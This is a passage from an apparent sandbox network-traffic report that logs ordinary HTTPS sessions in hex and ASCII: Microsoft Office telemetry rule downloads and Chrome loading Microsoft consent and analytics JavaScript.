,m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16}
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e Data Ascii: mal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return n
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f Data Ascii: uto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=functio
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 Data Ascii: g.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPag
2024-11-17 11:35:38 UTC	16384	IN	Data Raw: 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e Data Ascii: urn!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].n
2024-11-17 11:35:38 UTC	16384	IN	Data Raw: 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 Data Ascii: bAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="
2024-11-17 11:35:38 UTC	16384	IN	Data Raw: 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 Data Ascii: v])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 5d2bddd1-201e-006e-8040-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113537Z-16547b76f7f2b5qzhC1DFWeag400000002h0000000001c7r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: cd727bf0-801e-007b-329c-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113537Z-16547b76f7fffb7lhC1DFWdsxg00000004dg000000005n5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49866	13.107.246.45	443	5308	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 11:35:37 UTC	712	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 8368 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 61482e77-b01e-00fa-40d1-38cf07000000 x-ms-version: 2009-09-19 x-azure-ref: 20241117T113537Z-16547b76f7fp6s5dhC1DFWe28g00000001f0000000006v5s Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	15672	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-17 11:35:37 UTC	711	IN	Data Raw: 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 Data Ascii: {return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cookie
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 61 2d 6c 61 62 65 6c 3d 22 27 2b 69 2e 65 73 63 61 70 65 48 74 6d 6c 28 74 68 69 73 2e 74 65 78 74 52 65 73 6f 75 72 63 65 73 2e 70 72 65 66 65 72 65 6e 63 65 73 44 69 61 6c 6f 67 43 6c 6f 73 65 4c 61 62 65 6c 29 2b 27 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 63 6c 6f 73 65 4d 6f 64 61 6c 49 63 6f 6e 2b 27 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e 26 23 78 32 37 31 35 3b 3c 2f 62 75 74 74 6f 6e 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 64 6f 63 75 6d 65 6e 74 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 61 6c 42 6f 64 79 2b 27 22 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f Data Ascii: a-label="'+i.escapeHtml(this.textResources.preferencesDialogCloseLabel)+'" class="'+a.closeModalIcon+'" tabindex="0">✕</button>\n <div role="document" class="'+a.modalBody+'">\n <div>\n <h1 class="'+a.mo
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button
2024-11-17 11:35:37 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:38 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a49de474-501e-007b-59ae-375ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113538Z-16547b76f7fwm7vghC1DFW900s00000001y00000000000rb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:38 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:38 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 929893a7-101e-0017-74a6-3747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113538Z-16547b76f7ftfv4jhC1DFWuhug00000001w0000000003vsz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:38 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
